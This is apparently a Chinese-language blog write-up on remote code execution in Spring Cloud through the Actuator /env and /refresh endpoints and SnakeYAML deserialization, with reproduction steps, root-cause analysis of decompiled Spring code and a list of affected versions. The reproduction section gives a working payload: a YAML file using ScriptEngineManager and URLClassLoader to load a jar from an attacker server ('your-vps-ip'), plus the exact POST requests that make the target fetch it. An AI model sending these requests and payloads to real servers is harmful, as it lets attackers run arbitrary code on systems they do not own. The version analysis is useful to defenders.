SpringCloud-SnakeYAML-RCE
利用条件
Ps:支持/env的post的好像必须要springCloud,springBoot我怎么都不可以搜了网上一堆也不行,有大佬知道可以说说为什么
- 可以 POST 请求目标网站的
/env
接口设置属性 - 可以 POST 请求目标网站的
/refresh
接口刷新配置(存在 spring-boot-starter-actuator
依赖) - 目标依赖的
spring-cloud-starter
版本 < 1.3.0.RELEASE - 目标可以请求攻击者的 HTTP 服务器(请求可出外网)
漏洞复现
1.在网站根目录下放置后缀为 yml
的文件 example.yml
,内容如下
1 2 3 4 5
| !!javax.script.ScriptEngineManager [ !!java.net.URLClassLoader [[ !!java.net.URL ["http://your-vps-ip/example.jar"] ]] ]
|
2.准备一个恶意jar,实现SPI,很简单如下
3.设置 spring.cloud.bootstrap.location 属性
spring1.x
1 2 3 4
| POST /env Content-Type: application/x-www-form-urlencoded
spring.cloud.bootstrap.location=http://your-vps-ip/example.yml
|
spring2.x
1 2 3 4
| POST /actuator/env Content-Type: application/json
{"name":"spring.cloud.bootstrap.location","value":"http://your-vps-ip/example.yml"}
|
4.刷新配置
spring 1.x
1 2
| POST /refresh Content-Type: application/x-www-form-urlencoded
|
spring 2.x
1 2
| POST /actuator/refresh Content-Type: application/json
|
漏洞原理
从过程中我们知道,命令执行是由于 SnakeYAML 在解析 YAML 文件时,存在反序列化漏洞导致,这个在我博客其他文章就有提过了,这里就不再多说
看几个关键的地方,处理 /refresh
接口请求的类在org.springframework.cloud.endpoint.RefreshEndpoint#refresh
第二个是 BootstrapApplicationListener.bootstrapServiceContext()
方法,这里从环境变量中获取到了 spring.cloud.bootstrap.location
的值
最后在 org.springframework.boot.env.PropertySourcesLoader.load()
方法,根据文件名后缀 (yml) ,使用 YamlPropertySourceLoader
类加载 url 对应的 yml 配置文件,因 spring-beans.jar 包含 snakeyaml.jar,因此 YamlPropertySourceLoader
在默认情况下是使用 SnakeYAML 库解析配置
高版本无效
在Spring1.x版本当中
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| private StandardEnvironment copyEnvironment(ConfigurableEnvironment input) { StandardEnvironment environment = new StandardEnvironment(); MutablePropertySources capturedPropertySources = environment.getPropertySources(); Iterator var4 = capturedPropertySources.iterator();
PropertySource source; while(var4.hasNext()) { source = (PropertySource)var4.next(); capturedPropertySources.remove(source.getName()); }
var4 = input.getPropertySources().iterator();
while(var4.hasNext()) { source = (PropertySource)var4.next(); capturedPropertySources.addLast(source); }
environment.setActiveProfiles(input.getActiveProfiles()); environment.setDefaultProfiles(input.getDefaultProfiles()); Map<String, Object> map = new HashMap(); map.put("spring.jmx.enabled", false); map.put("spring.main.sources", ""); capturedPropertySources.addFirst(new MapPropertySource("refreshArgs", map)); return environment; }
|
在Spring2.x版本当中,却有限制
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| private StandardEnvironment copyEnvironment(ConfigurableEnvironment input) { StandardEnvironment environment = new StandardEnvironment(); MutablePropertySources capturedPropertySources = environment.getPropertySources(); String[] var4 = DEFAULT_PROPERTY_SOURCES; int var5 = var4.length;
for(int var6 = 0; var6 < var5; ++var6) { String name = var4[var6]; if (input.getPropertySources().contains(name)) { if (capturedPropertySources.contains(name)) { capturedPropertySources.replace(name, input.getPropertySources().get(name)); } else { capturedPropertySources.addLast(input.getPropertySources().get(name)); } } }
environment.setActiveProfiles(input.getActiveProfiles()); environment.setDefaultProfiles(input.getDefaultProfiles()); Map<String, Object> map = new HashMap(); map.put("spring.jmx.enabled", false); map.put("spring.main.sources", ""); map.put("spring.main.web-application-type", "NONE"); capturedPropertySources.addFirst(new MapPropertySource("refreshArgs", map)); return environment; }
|
必须在DEFAULT_PROPERTY_SOURCES当中的才能被添加到propertySourceList,而恰好
1
| private static final String[] DEFAULT_PROPERTY_SOURCES = new String[]{"commandLineArgs", "defaultProperties"};
|
结论
- Spring Boot 2.x 无法利用成功
- Spring Boot 1.5.x 在使用
Dalston
版本时可利用成功,使用 Edgware
无法成功 - Spring Boot <= 1.4 可利用成功